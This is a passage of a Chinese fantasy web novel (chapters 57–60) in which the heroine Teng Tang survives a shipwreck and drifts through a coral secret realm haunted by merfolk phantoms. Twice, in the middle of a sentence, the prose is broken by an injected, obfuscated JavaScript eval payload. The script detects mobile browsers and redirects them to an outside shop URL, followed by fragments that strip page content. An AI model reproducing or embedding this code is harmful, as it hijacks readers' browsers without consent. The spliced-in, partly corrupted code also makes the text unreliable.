李偲缨的下巴很尖,在她肩膀处一上一下地磕,磕得她肉疼。 滕棠想用脑袋把她的头顶歪,侧过脸时,双目和眼白很多的眼睛对上,登时吓了一跳。 李偲缨对她笑了下,由于肤色青白交加、眼影暗红,眼角还画了个十字架,她这一笑显得阴恻恻的。 滕棠瞧她笑完就睡过去,呼吸很快绵长,暗忖,这李偲缨美则美矣,就是某些表现有点吓人。 灵力充足,滕棠走了很久也没觉得累,她和一些满面憧憬的修者排成长队,在一只巨大的灵船下方等待。 前方有两个明月大陆的监察者,挨个询问身份,核对禁出名册 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14032716|148844||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 中的信息。 队伍排到滕棠这儿,监察者看多了一眼浓妆艳抹的女子,有些惊异。 其中一人让滕棠把刘海扒开,用一道水幕映下她和李偲缨的长相,开始盘诘:“姓甚名谁,哪里人,门派家族?” 为了不引怀疑,滕棠酷酷地背着李偲缨,一脸自信道:“我叫艾天使,背上是我姐姐,叫艾睡觉。我们来自大陆南方的散修小城,没进入过门派,有家族,叫葬爱家族。” 她表现得真诚不失个性,言辞流利,监察者瞬间就信了。 对方收下她的一千上品灵石,递给她两个牌子,呵呵笑道:“你们姐妹感情真好。” 滕棠接过牌子,留下一句:“鱼哭了水知道,我哭了谁知道。”话毕,头也不回地登上船。 监察者看着她们的背影,二丈和尚摸不着头脑。 在船上找到自己的舱室,滕棠把李偲缨放下来,自己在另一侧盘坐苦修。她闲不得一刻,哪怕外面再吵,巨船再晃,她也能潜心打坐,调动灵气在体内运转周期。 滕棠用的心法还是鹿焰宗的,她比较过外面的几种,发现低级的心法都大同小异。 她没有看过高级的心法,但猜测,除非是那种心法与术法合二为一的仙书神籍,否则这世上无论买多贵的心法,都逃不过最基础的修行——冲破堵塞的穴位、拓宽经脉,让骨血肉都脱去凡俗,最终炼成仙灵之身。 在舱室内修行了十几天,滕棠一次都没出去过。 这日刚签完到不久,付岚山忽然精神很好地探出头,问她:“滕棠你怎么变丑了?打扮得像个瓢虫妖,我要的移木养魂丹呢?你给我买了吗?” 滕棠瞥他一眼,摇摇头:“没有。” “什么!”付岚山气冲冲地朝她嘶舌头,不开心地道:“我神魂养好了,没有那颗丹药,就用不了那副壳子。” 滕棠想想也是,让他早点从自己丹田出去,是一件好事,因而答应他:“待会儿我出去瞧瞧,看船上有没有卖的,没有你就只能等,到天央大陆再说。” “待在你肚子里真无聊,什么东西都只能看不能碰。”付岚山抱怨道。 滕棠太阳穴突突直跳:“你觉得我乐意你待在我丹田里吗?” 付岚山被她眼神一横,知趣地缩回丹田,开始装睡。 滕棠觉得无聊,披上斗篷开门出去,到巨船的底层。 底层有个巨大的交易空间,里面卖的东西特别多,滕棠连问几个卖丹药的,都没有移木养魂丹。看那些人的表情,好像听都没听说过。 “真的有这个丹药?别是你骗我的吧。我当初……人家李偲缨,重新用身体,也没吃丹药啊。” 付岚山听完这话不开心,将上半身挺成S状,骄傲地说:“我是妖,用人的身体必须吃这个丹药,这是我爹爹告诉我的,我们整个蛇族都知道,这些人都是低级丹师,不知道很正常。” “那我上哪儿给你买?这灵丹不会是地蛟蛇族的独门偏方吧?” “不是,妖族占用人壳子都吃这个丹药。你问问厉害点的丹师,肯定有。” 滕棠真想把它拽出来丢掉算了,但一想到她现在是主人,要对自己养的宠物负责,又不得不磨出耐心,继续给它找丹药。 问了约莫一个时辰,一无所获,滕棠都快放弃了,忽然听见刚说没有的丹师问:“小妹妹,你不是妖,要这丹药做什么?” 滕棠眼睛一亮,把丹田的那条蛇赶出半个头,指着肥嘟嘟的蛇脑袋:“它用,您有吗?放心,我袋子里的人身灵魂已散,是偶然捡到的,不是我害死的。” 丹师看了眼付岚山,摇头道:“我炼不出移木养魂丹,此丹只有丹帝才能炼成。” 丹帝?!滕棠在心里数过丹修的头衔,丹士、丹师、丹皇、丹圣、丹帝,丹修本就稀少,她何德何能让金字塔尖的人给她炼药,即使对方愿意,她也买不起啊! 滕棠谢过这位丹师,走出交易空间,和付岚山对骂。 地蛟蛇认为,滕棠这么厉害,扛过天雷、打过厉鬼凶煞,肯定能买到“小小”一枚丹药,是她抠门,对灵兽不上心。滕棠骂他厚脸皮,什么忙没帮上,天天吃她灵力还要求那么多。 一人一蛇互呛良久,滕棠忽然觉得自己在浪费时间。 她开始打坐,不再理会付岚山。 付岚山神魂养好后,根本待不住。他在滕棠丹田处扭来扭去,忽而眼睛一亮:“还有一个办法!” 滕棠看都不看他,闭着眼睛说:“我不听。” 付岚山的脸皮是真的厚,他高声嘶鸣,滕棠不听也得听:“你帮我找具同族不要的肉-身。” 谁会不要自己的肉-身啊?滕棠一巴掌将他拍回去,以灵力封锁丹田,不准他随意出来打扰。 没有付岚山的嘶嘶蛇鸣,世界都变美好了。 滕棠松开因生气皱紧的眉,把识海中的刀取出来,在身边游走,练习对精神力的操控,而后将精神力分成丝线,打磨灵台刀鞘。 一个时辰后,系统忽然弹跳出一则公告: [“暖冬结缘”即将上线!和好友组队参与,完成任务可获得丰厚奖励!] [尊敬的玩家,系统将于12月16日扣除2000上品灵石,开启全新活动——“暖冬结缘”,时间截止12月23日。 活动详情:玩家和好友组队,选择成为情侣、亲友、家人,完成相关任务,可获得限定头衔、专属饰品、丰厚的灵石,以及限时宝海抽奖券。] 两个月没做活动的滕棠,读完公告,一下子兴奋起来。 她关掉公告,美好的心情在看到李偲缨时,咯噔了下,等等,和好友组队完成任务?她和谁组队?李偲缨睡美人,不可能保持清醒地和她做任务。 她低头看了眼丹田,付岚山更不可能,打死她也不选他。 滕棠抓抓头发,转念一想,活动还没出来呢,还不知道任务是什么,如果任务简单,到时候在船上随便找个人组队也不迟。 刚看完活动公告,舱室猛然晃动,将李偲缨从床上甩到地板上,滕棠亦翻了个跟头。 她抓着木把手,在剧烈的摇动中,爬到舱室窗口,朝外面看。 灵船未抵达雷域区,外面却惊涛骇浪,到底发生了什么事? 58. 第 58 章 蓝天之上,白云优游自适,初冬的晴阳直辣辣地晒着海面,朝下泼了一坛清酒似的昼光,激起千重浪。 海浪一层比一层高,蔚蓝海水将灵船驮到峰顶,而后又把它拍翻。 那只灵船受到冲击,并不甘心,外面亮起乌龟一样的光壳,把海水隔绝在外。它此时像个滚动的圆球,被几层海浪扔来抛去,朝雷域靠近。 经过海水的连翻推澜,船只的上空,一半是碧蓝晴天,一半是黑云橙雷。它逐渐靠近那分界线,身后的百丈海浪犹如一双无法撼动的巨手。 船完全翻过来,滕棠眩晕地趴在天花板上,两眼冒星。 “嘶。”她摸着脑后的包,跪行到掀翻的木床边,把昏睡中的李偲缨扶起。 李偲缨眉眼紧皱,因为疼痛,睡得很不安稳。 滕棠迟钝了一会儿,把人背起,开门到外面走廊里站着。 狭窄的通道中全是人,互相搀扶,或是像壁虎一样贴着墙。 滕棠抓住门板,问隔壁惊慌的一名女修:“这位姐姐,你知道外面发生了何事么?” 海浪如同千钧铁锤,嗙嗙——,反反复复捶打灵船的光罩,直至它龟裂,不得不接纳海水的涌入。 隔壁的女修全身湿透,刚从甲板上回来。她听不清滕棠说的话,但明白她想问什么。 滕棠的视线在女修开开合合的嘴上,努力解毒她的唇语:“你说什么?” 她背着李偲缨,船只又晃动,几次差点跌倒。 女修的一连串回答,被海水的巨响淹没。滕棠努力靠近她,只听得最后半句:“……他们是好事,对我们是厄运。” 海浪继续升高,灵船随其升随其落,光幕不意外地被拍成碎片,灵力星星点点散入海水之中。 在恐怖的摇晃中,滕棠头上的木板塌陷,哗啦啦的海水从上方灌下来,吞噬掉她和李偲缨。 两人的身体和灵船残骸一起,被海水卷入巨大的漩涡中。 雷域边缘,橙色的惊雷密集降下,如同蛛网,在空中曲折交叉。 仔细瞧,那密集的橙雷之中,竟飞着几百个修者。他们身上有各种法宝,正顶着惊雷,一齐施法,让底下的漩涡疯狂变大。 旋涡中央,无水区域越来越大,底下的秘境入口藏不住,露出一角。 无涯宗的众人见此欣喜不已,接而连三地下坠,朝秘境入口飞去。 巨型漩涡的流速与力量,让滕棠无法反抗。她憋着气,干脆放弃挣扎,被水流卷向中央的白洞。 白光在身上一闪而过,席卷她的海忽然变得温柔平静,没有丝毫的暴虐。 周边水的颜色变了,滕棠迷茫,发现自己来到一片很浅的海域。 脚下生长着成片的珊瑚,各种鲜艳的鱼从旁边游过。 偶尔有几条撞到滕棠和李偲缨,惊得尾巴狂扭,逃逸进五颜六色的珊瑚丛。 [叮!你已进入限时地图“珊瑚秘境”。] 滕棠腮帮子鼓得高高的,灵力充盈四肢,她拉着李偲缨的手臂,不断往上划。 身边游过数不清的鱼,有些脾气不好,尖嘴或鳍刺扎进她和李偲缨的肉里,特别疼。 终于在海面浮出头,滕棠大口大口喘气,脸颊因缺氧憋得绯红。 “咳咳。”李偲缨一路被她拉着,呛进不少海水,睁开眼看到滕棠水漉漉的侧颜,有气无力地问:“我们怎么在海里?” “不知道,这里似乎不是狂海?”滕棠身处的海水不深,也不是一望无际。 海面吹来的风没有腥味,带着熏人的香气,让滕棠恍惚以为,附近有片水仙花。 把湿重的刘海往上抓,她脸上的杀马特妆一点没掉,浓紫色的眼影,让她钝圆的眼睛锐气十足。 滕棠微微眯起双目,看到好多脑袋在远处的海面上冒出来,由于距离太远,她不确定那是不是人头,万一是灵船残骸呢。 限时地图?珊瑚秘境? 这个秘境,她好像在一本书上看到过。 海面如丝绸般平滑,在她游动时,涟漪荡漾,闪烁着粼粼之光。 李偲缨一副快睡着的样子,滕棠很无奈,只能伸直左胳膊,让她架在上边,免得掉下去。 秘境里的烈日和外面的不一样,非金色非红色,而是一颗巨大的蓝宝石,表面可看到规则的棱切面。 它悬挂在正上空,巨大无比,滕棠总觉得它离海面很近,触手可得。 滕棠游了一会儿,发现远处有五座珊瑚岛,颜色各不相同,环形分布,皆呈宝塔状。中间第三座岛最高,两边如阶梯般,第一座和第五座最矮,第二座和第四座齐平,高度仅次于中间那座。 滕棠点击[坐骑],发现这里面不可以使用热气球,失望了好一会儿。 游了约莫两个时辰,不管是远方的珊瑚岛,还是天上的蓝宝石,都没任何变化,仿佛她们在原地打转。 “咳咯。”李偲缨又醒了,架在她手臂上呕吐海水。 滕棠指着远处问她:“你看那边,我没有产生幻觉吧?那里是不是有上百个人。” 李偲缨乏力地望了一眼,想回答,但是她太累了,脑袋垂在滕棠肩上,病恹恹的,怎么也睁不开眼睛。 滕棠又敲了敲丹田,问付岚山相同的问题。 付岚山头一歪,“哼”了声,还在为滕棠封锁丹田的事生气,说什么也不理她。 滕棠又游了大概一个时辰,身边忽然飘过几根断木,不远处出现了清晰的人影。 她竭力划动手臂,逐渐接近那几个人。 在离他们几十米远时,那些人也注意到她,用木棍划水过来,将她和李偲缨拖到残缺木板上。 “妹妹,你姐姐还好么?怎么脸那么青白?” 滕棠没想到,在这里会遇到同船的人,拉她起来的女修,正是隔壁的住客。 厚实的斜刘海完全塌下来,盖住了滕棠的右眼。她让李偲缨躺好,抓着刘海往脑后一甩:“她没事。” 木板上的四人盯着她和李偲缨瞧,看得滕棠很不自在。 女修指着李偲缨的非主流刺猬头,忍不住问:“你姐姐的发色为何是这种颜色?你们不是明月大陆的人么?” 滕棠轻咳一声,摇头回答:“这是用植物染的,我们是明月大陆土生土长的人。” 搓了搓李偲缨头上的黄发,她总不可能现在一键换装吧,那样只会引来更多的好奇。 大家虽然是同一条灵船落水的人,但彼此都不认识,很难张口聊天。 他们左右分成两排,坐在木板上,除了划木头,就只剩沉默。 深色木板在平静的海面上飘浮,朝远方五座鲜艳的珊瑚岛前进。 这时,一道蓝色的身影和海水融为一体,从木板的边缘一闪而过。“哗”,一声翻动的小水花,引起滕棠的注意。 在清澈的水底,五颜六色的珊瑚和鱼群似是见到海的主人,欣喜地在摇晃、游摆。 滕棠转过头,刚才那里是不是游过去什么东西? 四肢撑在木 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女修把手里的木棍递给她:“妹妹要是没事干,就出点力气吧。” 滕棠接过木头,郁闷道:“你们怎么不信呢。” “姑娘阅历少,骗不到我们的。”女修坐到滕棠身边,指出疏漏处:“一,人鱼族很少有长得好看的,大多丑陋,那些民间故事都是骗人的。” “二,人鱼不是靠外貌蛊惑人心,而是靠他们的声音,刚才我们什么都没听到,怎么可能上你的当。” 女修摊摊手,继续道:“再说人鱼族厌恶和人族打交道,他们居住在南妖海,离人族远远的,就算个别心思不纯,上岸诱惑人族,那也会挑好看的,而姑娘你……” 滕棠摸摸脸,心想我怎么了,我只是妆容有点吓人,五官还是好看的。 有了话题后,几个人熟络起来,有人问:“你们知晓这里是珊瑚秘境么?人鱼女王一直寻找的秘境。这里有一件人鱼族的至宝,珊瑚王冠!” 两个男修同时出声:“当然知道,我进来的时候就知道了。” 一名中年相貌的男修呵呵笑了声,指了指远方的五座珊瑚岛:“谁不知道?水底全是珊瑚,远处那五座珊瑚岛和书上写的一模一样。” 然后大家发现,七个人里,除了昏睡的李偲缨,就只有滕棠不知道。 见大家都明白这是哪儿,皆有抢夺机缘的想法,女修不再顾忌,给滕棠解释:“我们所在的地方叫珊瑚秘境,人鱼族在几大海域找了上万年,至今仍未找到。他们一直想进入这个秘境,拿回仙器——珊瑚王冠。” 另一个人小声发表自己的想法:“我觉得这个秘境里,没有珊瑚王冠,只有一个魔头的分-身。人鱼族怎么可能对他们的至宝没有感应?何况是人鱼王冠。当初灵魔大战,珊瑚王冠肯定破碎了,鱼琴是用生命镇压的魔头,所以人鱼族一直找不到这里。” 滕棠一边听着,一边划动木棍,视线始终飘在海面上。 她总觉得几米外的蓝色比身边的深,好似那儿隐匿着谁,将丝绸般的海水顶出微微鼓包,随木板制造的波纹起伏。 滕棠心里并不确定,那只人鱼是不是在跟着他们。 她一直盯着海面,观察附近的异响,直到两天后,偶然看见对方的等级标识浮出水面。 抓紧机会,她点击旁边的小三角:[人鱼之王·鱼琴遗留的一道幻影,50级。] 59. 第 59 章 原来不是活物,而是人鱼之王的一道幻影。 我们偶然闯进这里,会不会被攻击?滕棠思索完,暗中将两把弯刀挂在腰上,戒备着远处的蓝色暗影。 女修坐久了,换了个姿势,斜躺在木板尾端,继续同他们聊人鱼族的故事。 “鱼心如今七千多岁了,依然没找到上一任族长鱼琴遗失的珊瑚王冠,十几年前,他们好像放弃了。” “人鱼族的至宝,就这样放弃了?” “找了一万年都找不到,被我们碰到了,你们说,我们会不会得到珊瑚王冠?” …… 木板上共有七人,李偲缨睡在尾端,女修躺在右下方,滕棠坐在左下方。剩下四个皆是男修,左右各两位,正出着主力,将木板划向远处的珊瑚岛。 滕棠听他们聊,发现他们的话题越聊越歪,其中一个男修插话问:“我一直有个疑惑,话本上的人鱼忽男忽女,他们真的可以随心意改变性别么?那岂不是床事上,前后都可……哈哈哈哈。” 女修率先回答他:“民间话本写的并非全错,人鱼族确实可以根据心意选择性别,比如现任族长鱼心,一开始以无性别示人,而后以男性形象示人,现在她是个女人鱼。但人鱼并不热衷情事,他们在种族繁衍方面,一直处在弱势。” 滕棠望向远处的海面,不由自主地问了一句:“你们说的那个鱼琴,他是男是女?” 方才水中那张脸,雌雄莫辨,但滕棠觉得,鱼琴的长相更贴近男性。 “鱼琴选择的是……”侃侃而谈的女修忽然沉默,她看过许多和人鱼族有关的书籍,好像没有哪一本提过鱼琴的性别。 “是女的。书上都写她是史上最好看的人鱼,仙姿玉色,见之倾心。” 末了,女修还补充一句:“肯定是女的,一则她的名字叫鱼琴,偏女性,二则,人鱼族史上,历来皆是女人鱼当族长,鱼琴肯定也是。” 滕棠瞟向不远处的暗蓝,微微的水流声轻不可闻,在场除了她,似乎没有人注意到。 当海面再次升起[50级]的标识时,她点开右边的三角标,看了几遍,发现信息里没有写性别,不知是幻影的关系,还是鱼琴其实没有选择过性别。 木板在海面漂了三日,前方的五座珊瑚岛未发生任何变化,在大家视野之中,它们依旧指甲盖小,遥不可及。 有男修坐不住,甩动酸痛的手臂,骂骂咧咧:“怎么跟鬼打墙一样,我们划的方向是正确的吗?都说人鱼族有许多奇珍异宝,这鬼地方若真藏着珊瑚王冠,必然有其他宝贝,但我们现在连颗珍珠都没捡到,下面尽是些傻鱼和没用的珊瑚。” 六人之中,属滕棠旁边的女修最博闻多识,实力最强。大家有一种默契,不管做什么,都先听她的意见。 她一开口,瞬间熄灭掉男修的躁气:“你见过哪个宝物能轻易得手?珊瑚王冠是仙器,人鱼族的至宝。当初鱼琴以王冠镇压魔头分-身,肯定设了法阵,大家划水时,注意四周有无灵力波动。” “我们能进入珊瑚秘境,捡到些不厉害的宝贝就心满意足了,还敢奢望珊瑚王冠,人鱼族都没找到,我们能找到?”相貌年老的男修说道。 女修明白这件事,可心里存着两分希冀:“万一呢,万一我们找到了呢?运气上的事,谁也说不准。” 大家沉默了会儿,各自幻想珊瑚王冠长什么样子。 过了许久,有人好奇地问:“鱼琴为何要帮助人族镇压冥无之主?你们说这海里面,冥无之主的左手还在不在?要是知晓他左手在何处,珊瑚王冠就到手了。” 年迈的男修大笑一声,继续给众人泼冷水:“凡人泡水里,几日腐烂发臭,修者尸身泡水,千年腐败。那魔头左手再厉害,泡万年之久,还能存在?你们看底下这些鱼,九成已修炼成妖,冥无之主的左手给它们塞牙缝都不够。要我说,不管是冥无之主的左手,还是人鱼族的至宝珊瑚王冠,都没了,否则人鱼族为何放弃寻找秘境、放弃他们的王冠,让我们人族有可趁之机。” 有个年轻的男修听完,颇为不怿,反驳他:“你知道什么?冥无之主乃是不死魔龙,它随便扔根须须出去,都能衍化分-身,活得比你久。” 两人紧接着吵起来,年迈那位哼了一声:“你替那毁天梯、屠万城的魔人说话!安的是什么心?你不会是魔修吧?” “别吵了。”滕棠旁边的女修开口,瞥了二人一眼:“魔头之名不可提,大家先想办法,如何快速接近那五座珊瑚岛,而非在这里内讧。” 几个人聊天的兴致,一下子降到谷底,安安静静的,谁也没再说话。 连着两三日,那道幻影一直跟着他们。有时候,滕棠还能远远地和他对视上,就比如现在。 她心不在焉地撬着水,灵眼全开,集中在十米外的水里。 海水波光粼粼,芒光在水面荡漾,犹如流动的星子。这层星纱之下,一双澄澈的蓝眼睛弯弯的,带着温柔的笑意,好似知道她在看他。 与海水融为一体的卷曲长发,悄悄飘浮过来,轻柔地握住她手里的木棍。 滕棠一愣,翘起木棍,蓝色的发尾随即撤走,化为水面流动的波澜。 她看向木板上的另外几人,发现大家都没察觉这道人鱼幻影的存在。 鱼琴的头发颜色非常浅,又因天空蓝宝石的照耀,他潜伏在水下,人的肉眼很难分辨木板边缘的是海水,还是他的头发。 滕棠倾出上半身,试图抓住飘走的蓝发,奈何手一捞,掌心里只有流动的水,哗啦啦从指缝落回到海里。 再抬头,她望向水流异动的位置,人鱼好似害羞般,往水底躲藏,海面的标识已经看不见了。 她怎么觉得,这道人鱼幻影在故意吸引她的注意呢?对方有什么目的?幻影有自己的意识和思维吗?他靠近我们,我们会不会有危险?难道是因为他,我们一直在这里打转? 滕棠抱着一肚子疑问,努力在左下角划水,问起几天前的海难,想要抽丝剥茧:“对了,我们的船为什么会出事?我们为何出现在这秘境里?” 她发现自己提人鱼跟踪他们这件事,没有人相信,即使人鱼游到木板边缘,大家好似盲了一般,让她别开无聊的玩笑。 滕棠不觉得自己出现了幻觉,她相信系统的标识不会出错,那道幻影必然用了什么办法,让大家看不到他,仅让自己注意到他。 旁边的女修叹气一声:“是我们倒霉,天央大陆发了禁行令,奈何卖船的商人只顾利益,把此事拦下,不让散修知晓。船刚出发不久,百里范围内传音石还能用,我收到传音,说近些时日不能前往天央大陆,无涯宗要捕捞万齿鲨,禁狂海一段时间。” “所以做任何事,切勿抱侥幸。”她旁边的男修叹气道:“要是你当时通知船上的众人,我们就不会遇上这事了。” 女修摇头苦笑:“谁知道他们并非捕捞万齿鲨,而是发现了珊瑚秘境,且来的是九炼宗与浮世门,他们肯定是明修栈道暗度陈仓,要是碰上他们,说不定会杀了我们这些知情者。” 众人再次沉默,有人替女修说话:“这事不能怪这位阿姐,我们每人交五百上品灵石,一百人共同买下船只前往天央大陆,即使阿姐最初告知船上的修者,大多数人也不会同意折返,谁愿意浪费五百上品灵石?大家一听无涯宗捕捞万齿鲨,反而更愿意前往,觉得狂海比平日还安全,谁知是两个大宗门在开启珊瑚秘境呢。” 滕棠发现他们知晓好多事,而自己终日待在船舱中,对狂海、天央大陆一无所知。她打开储物袋,拿出几本新买的地方志,开始恶补功课。 “艾天使,你今几岁了?”一名修者探头,见她书上有字有画,乃是少年人的读物,首列写着“天央大陆处在狂海以东,距离明月大陆有……”,完全是他儿时学的内容。 “家里穷苦,我十五岁才入修仙之道。”滕棠没多余解释,坐在木板边缘,一边看书,一边划水,努力了解要前往的天央大陆。 她读到中途,看到了“无涯宗”三字,立马提起兴趣。坐在木板上这几日,她听得几人谈话,说得最多的是人鱼族,其次便是这无涯宗。 然后她发现了一件有趣的是,无涯宗与其说是一个宗门,不如说是一个学府,或者说一个联盟。 天央大陆万年前,仅九个门派。后来发生灵魔大战,冥无之主屠戮万城,九个门派灭得只剩无涯宗。 镇压冥无之主这个大魔头后,无涯宗人丁稀少,苟延残喘,像一块没有保护罩的宝贝。无涯宗宗主决定,打开宗门,不看背景来历,广纳极有天赋的弟子。 那时青草重生的天央大陆,人员混杂,各自为族,兴起了上千个门派。外加其他大陆的修者源源不断过来,竞争逐渐变得激烈,天央大陆进而形成百家争鸣的局面。 无涯宗宗主怕争不过新生力量,或者被这些门派联手覆灭,于是又决定,拿出底蕴,给每个门派分名额。各门派优秀的弟子既可以待在自家门派,还可以成为无涯宗弟子,获得无涯峰修行的机会、登天梯成仙的机会。 年复一年,无涯宗终于摆脱了式微的情况,不再担忧那些门派觊觎无涯宗的底蕴,联手洗劫这个老宗门,但它却不再独立于世。万年后的无涯宗,更像至高学府,聚集了所有门派的顶尖强者,被不同势力占据,辉煌依旧,故人不在。 滕棠数了数,一开始那些新生的门派有上千个,并建立了千门盟,如今经过各种合并,只剩百个,千门盟已改为百门盟。大浪淘沙,以后可能会变得更少,因为顶端的门派势力极强,招揽走所有天才,小门派的处境只会变得艰难。 刚才女修提起的九炼宗与浮世门,便是百门盟前五的门派,掌握着无涯宗的长老席 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14032718|148844||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 位,他们一开山门,小门派尽皆避之。 哎,滕棠多想进入大宗门,但她心里清楚,五灵根没有门派愿意收,即使是天央大陆的小门派,也会把她拒之门外。 又过了一日,远处的珊瑚岛仍遥不可及,没有任何大小变化。 这时,滕棠旁边的女修者改成蹲的姿势,拿出几张自己画的符,说道:“我是天央大陆易阵门的人,来明月大陆是为了探亲。我在符篆法阵上有点钻研,这几日我发现水下珊瑚有异。” 她指向澄澈的海水:“你们看,这些珊瑚有其规律,颜色从左至右,始终为白、黄、蓝、红、紫。我们只要试着从不同方向划,一定可以找到突破口。” 滕棠合上书,垂头一路瞧去,发现还真是如此。 但她觉得没那么简单,因为前几日她打开地图,发现他们一直在秘境入口处打转,点击珊瑚岛定位,使用自动寻路功能,系统会跳出这样的内容:[提示!玩家当前在屏障内,无法自动寻路。] 她跟着大家划水,有努力找过屏障,可始终没有线索。 “我们先往这边划。”女修指向正东方位。 四个男修听完,当即卖力划动。滕棠在角落也使了会儿力气,忽然停顿,眯着眼睛不知道在看什么。 旁边的女修问她:“划累了?划累了就歇会儿。” 滕棠起身望向远处,对几人道:“那边好像有人。” 木板上的人都未开辟识海,仅靠灵眼,看不到五里以外的事物。 被困在这里太久,几个人难免心气浮躁,其中一人误以为她又在开玩笑,不喜道:“我金丹六层都看不到,你还能看到?” 其实滕棠也看不太清,只觉得远处有模糊小点在动,但不确实是人。 见大家不信她,她无奈闭嘴,坐下来专心划水。 五米长的木板悠悠前进,过了一炷香的时间,远处忽然冒出了不少人头。细数之下,至少上百人,他们游在海里,衣服颜色都穿得差不多。 这瞬间,几个人心里都有一个猜测,那上百人不可能是船上的散修,衣服颜色如此相近,必然是无涯宗的人。 女修赶紧令大家往回划:“糟了,要是被他们发现,我们会被杀人灭口。” 可那边的修者,实力高强,许多开辟了识海,怎么可能没发现他们?只是碍于法阵的限制,大家无法御行空中,所以游在海里罢了。 实力的差距,很快弥补了距离的差距。 一盏茶的时间之后,无论木板上的几人如何努力,仍无法避免被追赶上。他们已经能看清后方上百人的相貌,令滕棠惊奇的是,她竟然在那些人里见到了龙傲天。 龙傲天穿着无涯宗的服饰,衣襟绣的金庭画,那是浮世门的标志。看来,他已经拜入天央大陆前五的门派——浮世门,而后又得到机会,进入无涯宗修行。 不知道他遇到了哪些机遇,此时已经金丹九层,且和旁边的老者关系很好,一边游一边攀谈。 龙傲天没有认出滕棠,他玄眼打开,一眼扫过去,边缘的修者身上都是些普通命字。木板后方看不见,两个女修躺着、一个坐着,他猜这些人是违令渡海的船客,皆是普通人,没必要浪费精力去看。 “怎么、怎么办?”木板上的几个修者慌慌张张的,像抓救命稻草般抓紧木棍。 面对上百个实力高强的修者,金丹期、元婴期、出窍期……甚至还有洞虚期的气息,死亡的恐惧让他们双腿发软。 陡然间,海里忽生变化,一道蓝色的身影从水中跃起,长发泼开,发尾的弧度像几道美丽的浪花。 鱼琴雌雄莫辨的脸,此时看起来有了点棱角,上身亦偏男性,手臂和腹肌的线条阳刚而流畅。 他甩动漂亮的尾巴,层层鳞片宛如渐变的琉璃,在宝石太阳的照耀下熠熠生辉。 “人鱼之王!”龙傲天旁边的老者惊呼道。 “快快!将他抓住!” 上百人游了几天海水,除却皮肤有点苍白,泡胀泡皱了,神情上没有丝毫疲态。 海面无风,几日的平静被打破,水里跳出不止一条人鱼。 鱼琴死时为守护族中至宝,不仅自身留下了数道幻影,还把许多族人的幻影布置在秘境之中。秘境入口这里发生的冲突,仅是开端。 七八条长得或丑或美的人鱼,将所有闯进来的人族包围。他们用尾巴拍打海面,掀起一波波浪潮,溺住敌人的口鼻。 木板晃荡,滕棠为了抓住李偲缨,一个不慎,两人从木板上跌落下去,和其他几人分开。 那些人没有救她们俩,顾着自己的性命,慌慌忙忙地划水,远离这是非之地。 浅蓝色的海水里,滕棠看到一个彩色的泡泡,从珊瑚丛中升起,将自己和李偲缨裹住。 下一秒,她发觉她能呼吸了,泡泡里没有海水。 60. 第 60 章 上百人的乱斗,使得汪洋大起大落,将木板推向更南的地带。 滕棠和李偲缨掉下去后,木板变得轻盈,更好划动。上面的人卯足劲,不到一盏茶的时间,看到前方一个白色圆洞。 “是出口!”他们大喜,索性跳入海中,拼命往那里游。至于寻找珊瑚王冠的事,早就被他们抛到脑后。 五个人在白光中消失,重新回到狂海深处。昏暗的海水压在身上,让他们呼吸困难,五府几欲爆裂。 “扑腾……扑腾……”他们运气很好,努力向上游动,在浮出海面的瞬间,恰巧碰到了一群天央大陆的修者。 “你们可有看到九炼宗和浮世门之人?”船头的人一开口,下方就有人回答。 “看到了,他们找到了珊瑚秘境,现在就在里面!我是易阵门的弟子,咳咳……” 被拉上船后,女修继续说道:“九炼宗和浮世门发布禁令,并非在捕捞万齿鲨,而是另有所图……” 狂海海底,珊瑚秘境。 经过一番群斗,瓦蓝的海已经平息。 鲜红色的血在水中染开,随着战斗的结束,几具尸体沉进珊瑚丛中,被鱼妖当作丰盛的美餐。 无涯宗的那些人,损失了九人,才突破入口处的屏障。 鱼琴与族人的幻影被灭掉后,皆化成了靛蓝的水,在空中绽开朵朵浪花,落回大海的怀抱。 海底的珊瑚丛林缩小了体积,缤纷的色彩如潮水般退去,露出底下不规则的深渊。 水底的深渊错综复杂,组成一张大网,远远看去,好似马尾松的树皮。 龙傲天游在众人身后,玄目尽开,眼里白光一片,无法看出深渊有什么奥秘。 “傲天,跟紧师父。”一个白发老头回头,对他传音道。 干净的海水中,龙傲□□他点点头,一脸老实巴交的样子。 等老头背过去,他的表情立马变冷,扣紧右手的黑色指环,对戒中之魂传音:“师父,我们也要进去?” 戒指里的李谡,三月不见,魂魄凝实,头发由花白转为灰色,他盘坐在岑云岭的莲花台上,闭目道:“跟上他们!我吃了那天魂仙丹,如今恢复到洞虚五层,无须再顾忌这些人。” 龙傲天对他很是尊敬,即使李谡看不见,他神情亦是小心翼翼的,和对前方的老头完全不一样。 他向戒指传音:“师父厉害!等您再收集到天神之体,炼出九样宝丹,必定能报仇雪恨。我看过师父的命字,我和您往后,莫说无涯宗,天界也将成为我们的掌中之物!” 水底的深渊原是黑色,忽然光芒大盛,全部变白,似妖兽张大了巨口,将秘境入口的人族全吃了进去。 滕棠自被装进泡泡后,整个人一直处在恍惚的状态。 泡泡带着她和李偲缨藏进珊瑚丛,身边游过许多五颜六色的鱼妖,并不咬她,而是停顿在珊瑚外,目送她坠入冒着白光的深渊。 